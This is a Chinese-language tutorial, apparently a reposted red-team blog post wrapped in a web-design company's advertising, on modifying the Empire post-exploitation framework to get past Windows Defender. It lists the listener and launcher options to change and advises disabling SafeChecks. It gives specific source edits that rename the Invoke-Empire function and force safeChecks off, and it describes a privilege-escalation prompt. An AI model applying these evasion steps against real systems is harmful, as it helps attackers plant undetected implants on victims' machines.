這篇文章主要介紹如何修改Empire繞過Windows Defender,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
創(chuàng)新互聯(lián)服務(wù)項(xiàng)目包括龍沙網(wǎng)站建設(shè)、龍沙網(wǎng)站制作、龍沙網(wǎng)頁(yè)制作以及龍沙網(wǎng)絡(luò)營(yíng)銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,龍沙網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到龍沙省份的部分城市,未來相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!
防病毒規(guī)避技術(shù)一直以來是我最感興趣的研究方向之一。多年前,當(dāng)我開始研究計(jì)算機(jī)科學(xué)時(shí),我向我的顧問提出了一個(gè)主題,即通過映射二進(jìn)制文件中的執(zhí)行流,來改進(jìn)防病毒引擎以檢測(cè)多態(tài)病毒。但隨著研究的深入,這個(gè)設(shè)想最終還是被否決了,所以我選擇了另一個(gè)研究課題。
如果你的工作是滲透測(cè)試或在紅隊(duì)中,那么防病毒繞過技術(shù)將是你必備的一項(xiàng)技能。但不得不說這也是一個(gè)令人沮喪的領(lǐng)域 - 雖說“基于簽名的”防病毒軟件在阻止威脅方面并沒有太大的作用,但有時(shí)卻會(huì)給我們帶來極大的麻煩。
我們知道想要逃避防病毒軟件最好的辦法就是“編寫自己的工具”。例如編寫一個(gè)自己的簡(jiǎn)單反向shell,或是如果你有足夠的資金預(yù)算和時(shí)間,那么也可以嘗試從頭開發(fā)一個(gè)完善的C2架構(gòu)。然而,大多數(shù)人還是依賴于安全社區(qū)中其他人開發(fā)的開源(和商業(yè))工具。
說到這,我不得不提Empire。Empire是一款后滲透利用代理工具,其中包含了各種的攻擊性工具。這是一款非常強(qiáng)大的工具,如果在執(zhí)行的過程中沒有被防病毒程序標(biāo)記,那么它完全可以作為攻擊性操作的一部分使用。有一段時(shí)間,Empire對(duì)于逃避像Windows Defender這樣的程序非常有用。但現(xiàn)在已經(jīng)不行了,如果你創(chuàng)建一個(gè)通用的http listener agent payload并在內(nèi)存中執(zhí)行,甚至還沒有觸及磁盤,你可能就會(huì)看到如下所示內(nèi)容。
可以看到,Windows Defender檢測(cè)并阻止了我們的行為。
但別忘了Empire是一款免費(fèi)且開源的工具,我們可以通過修改一些關(guān)鍵區(qū)域來嘗試?yán)@過客戶端防病毒軟件。
在我們的測(cè)試開始之前,我們先來關(guān)閉Windows Defender中的“Cloud-delivered Protection”,尤其是“自動(dòng)樣本提交(Automatic sample submission)”。我們不希望我們的任何測(cè)試接入互聯(lián)網(wǎng),并進(jìn)入Windows Defender的分布式簽名當(dāng)中。另外,請(qǐng)保持“實(shí)時(shí)保護(hù)(Real-time protection)”,以便我們測(cè)試執(zhí)行的情況。
記?。o論你做什么,都不要將病毒上傳到VIRUS TOTAL!否則你的一切努力都將白費(fèi)!正如下面你將學(xué)到的,即使初始payload通過防病毒檢查,Windows Defender也可以檢測(cè)到Empire。
現(xiàn)在我們的測(cè)試實(shí)驗(yàn)環(huán)境已準(zhǔn)備就緒,是時(shí)候開始使用Empire了。
在前幾次繞過Windows Defender的嘗試中,我設(shè)置了Empire launcher payload內(nèi)的misc選項(xiàng),但最終都以失敗告終。
接著,我嘗試通過混淆的辦法來進(jìn)行繞過。我嘗試使用powershell混淆工具來運(yùn)行有效載荷。通過Unicorn運(yùn)行它...?失敗。通過Veil Framework運(yùn)行它...?失敗。通過Empire自己的原生Invoke-Obfuscation運(yùn)行它...?還是失敗。
但我注意到一點(diǎn),通過使用混淆工具我能夠?qū)ayload寫入磁盤,基本上是繞過了防病毒簽名,但在執(zhí)行時(shí)會(huì)被檢測(cè)并阻止。
Empire生成的初始payload即所謂的“stager”,確切地說應(yīng)該是stage0 payload。stager是一些代碼,用于遠(yuǎn)程下載和執(zhí)行另一個(gè)stager或?qū)嶋Hpayload。在我們的示例中,我們將使用multi/launcher powershell stager來獲取http listener。
測(cè)試stage0 payload實(shí)際上非常簡(jiǎn)單。生成payload,將其寫入文件,然后傳輸?shù)絎indows機(jī)器。如果它在命中磁盤時(shí)觸發(fā)防病毒警告,則表示你還有許多其它工作需要做。如果它成功傳送并正常執(zhí)行,則表示你獲取到了一個(gè)可用的stager。
一個(gè)非常重要的說明!在我的測(cè)試期間我遇到了一個(gè)問題,就是在反復(fù)進(jìn)行payload測(cè)試后,Windows Defender很可能會(huì)將所有的powershell文件標(biāo)記為病毒,甚至是空文件!如果發(fā)生這種情況,請(qǐng)重啟VM或計(jì)算機(jī)。我的看法是,Windows Defender可能知道我正在傳輸文件的主機(jī)是惡意的,因此無論文件是什么,PowerShell都會(huì)被禁止執(zhí)行。
你可能會(huì)感到震驚,生成繞過Windows Defender的multi/launcher stager,只需使用Empire中顯示的選項(xiàng)即可實(shí)現(xiàn)。但我不會(huì)告訴你我所使用的確切選項(xiàng),因?yàn)槲抑烙腥藭?huì)立即使用它們,并忽略我的警告將它們上傳到Virus Total。但我會(huì)向你們展示我建議修改的選項(xiàng)。
建議修改的 Empire http listener 選項(xiàng)
選項(xiàng) | 描述 | 默認(rèn) |
---|---|---|
默認(rèn)配置文件 | Empire將在不同時(shí)間調(diào)用的三個(gè)URL以及User-Agent字符串。 | /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko |
服務(wù)器版本 | Web服務(wù)器版本標(biāo)識(shí)符 | Microsoft-IIS/7.5 |
主機(jī) | 你的主機(jī)(或IP)和端口號(hào)。 | |
端口 | 應(yīng)與指定的主機(jī)端口相同 | |
用戶代理 | Empire為模擬真實(shí)的Web瀏覽器流量而發(fā)送的用戶代理。 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 |
StagerURI | 向Stager提供的URI。必須包括/download才能工作,而不需要進(jìn)行額外的修改。 | |
證書路徑 | 設(shè)置Empire時(shí)默認(rèn)的自簽名證書位于./Empire/Data。根據(jù)環(huán)境的復(fù)雜程度,自簽名證書可能不起作用。Windows Defender不介意自簽名證書。 | |
默認(rèn)Jitter | 向Empire服務(wù)器發(fā)送信標(biāo)呼叫時(shí)的隨機(jī)延遲。 | 0.0 |
Launcher | 用于執(zhí)行stager的命令。 | powershell -noP -sta -w 1 -enc |
建議修改的 Empire multi/launcher 選項(xiàng)
選項(xiàng) | 描述 | 默認(rèn) |
---|---|---|
Listener | 此項(xiàng)為必設(shè)項(xiàng) | |
UserAgent | 用戶代理字符串 | |
SafeChecks | 嘗試檢測(cè)launcher是否在沙箱中運(yùn)行。 | True |
混淆 | 混淆自動(dòng)生成的launcher代碼。 | False |
混淆命令 | 使用的混淆命令。 | Token\All\1,Launcher\STDIN++\12467 |
這里給大家一個(gè)提示。將SafeChecks設(shè)置為false。SafeChecks試圖確定stager是否在防病毒沙箱中運(yùn)行。此外,這也會(huì)減少大量生成的代碼,但由于我們被防病毒軟件檢測(cè)到了,因此顯然無法正常工作。
有了這樣一個(gè)被我們“武器化”的payload,是不是意味著我們就一定能夠運(yùn)行Empire?如下所示payload將執(zhí)行,并且你會(huì)看到一個(gè)初始連接Sending stage 1!接著便出現(xiàn)了問題。
在測(cè)試期間,我決定關(guān)閉防病毒保護(hù),在Windows主機(jī)上啟動(dòng)Empire,然后重啟防病毒軟件。令我興奮的是,我的Empire beacon并沒有死!只要我們能讓Empire啟動(dòng)就行。但為什么無法啟動(dòng)呢?
深入挖掘Empire代碼庫(kù)會(huì)生成stage1代碼。這段代碼建立了加密安全環(huán)境以躲避檢測(cè),但它本身并沒有以任何方式進(jìn)行編碼。經(jīng)過一些測(cè)試和錯(cuò)誤之后,編輯了文件和某些部分,我確定應(yīng)該問題應(yīng)該出在invokeEmpire函數(shù)名。正如Black Hills Information Security文章中所建議的那樣,將函數(shù)名更改為invoke randomstringhere是阻止檢測(cè)的必要手段。盡管我們要做的只是修改invokeEmpire函數(shù)名,但如果你能進(jìn)一步的更改stage1代碼,那無疑將是巨大的加分項(xiàng)。
Edit: ./Empire/data/agent/stagers/http.ps1:
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
Edit: ./Empire/data/agent/agent.ps1
function Invoke-Empire {
讓我們?cè)俅螄L試運(yùn)行我們的Empire stager。
可以看到我們成功繞過了Windows Defender!
由于是在完全修補(bǔ)的Win10主機(jī)上運(yùn)行測(cè)試,因此提權(quán)的方法并不多。所以,讓我們嘗試一下powershell/privesc/ask模塊,它會(huì)彈出一個(gè)對(duì)話框,詢問用戶是否要以管理員身份運(yùn)行powershell。漏洞利用成功彈出了對(duì)話框,這是一個(gè)好兆頭!我點(diǎn)擊是!然而什么也沒發(fā)生。
我承認(rèn)這讓我感到有些困惑。如果我的stagers在初始利用時(shí)工作,那么為什么不能提權(quán)呢?經(jīng)過一些調(diào)試之后,我能夠捕獲使用privesc/ask模塊發(fā)送的stager。雖然它包含了我在multi/launcher配置中設(shè)置的一些修改,但有一個(gè)明顯的區(qū)別。它還包含了我們之前設(shè)置為False的SafeChecks代碼!
我不確定這里包含的SafeChecks,是否是由于Empire中存在的bug導(dǎo)致的。但是,SafeChecks代碼當(dāng)前存在問題,似乎已被該Empire bug所證實(shí)。只需將選項(xiàng)設(shè)置始終保持為 False,就可以解決我們的問題。
Edit: ./Empire/lib/listeners/http.py:
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ # Add this line to override SafeChecks safeChecks='False'
運(yùn)行`python -m compileall`并重啟Empire。然后啟動(dòng)powershell/privesc/ask。
以上是“如何修改Empire繞過Windows Defender”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!
文章題目:如何修改Empire繞過WindowsDefender
當(dāng)前路徑:http://chinadenli.net/article12/jhhpgc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供靜態(tài)網(wǎng)站、營(yíng)銷型網(wǎng)站建設(shè)、網(wǎng)站排名、微信小程序、網(wǎng)站維護(hù)、云服務(wù)器
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)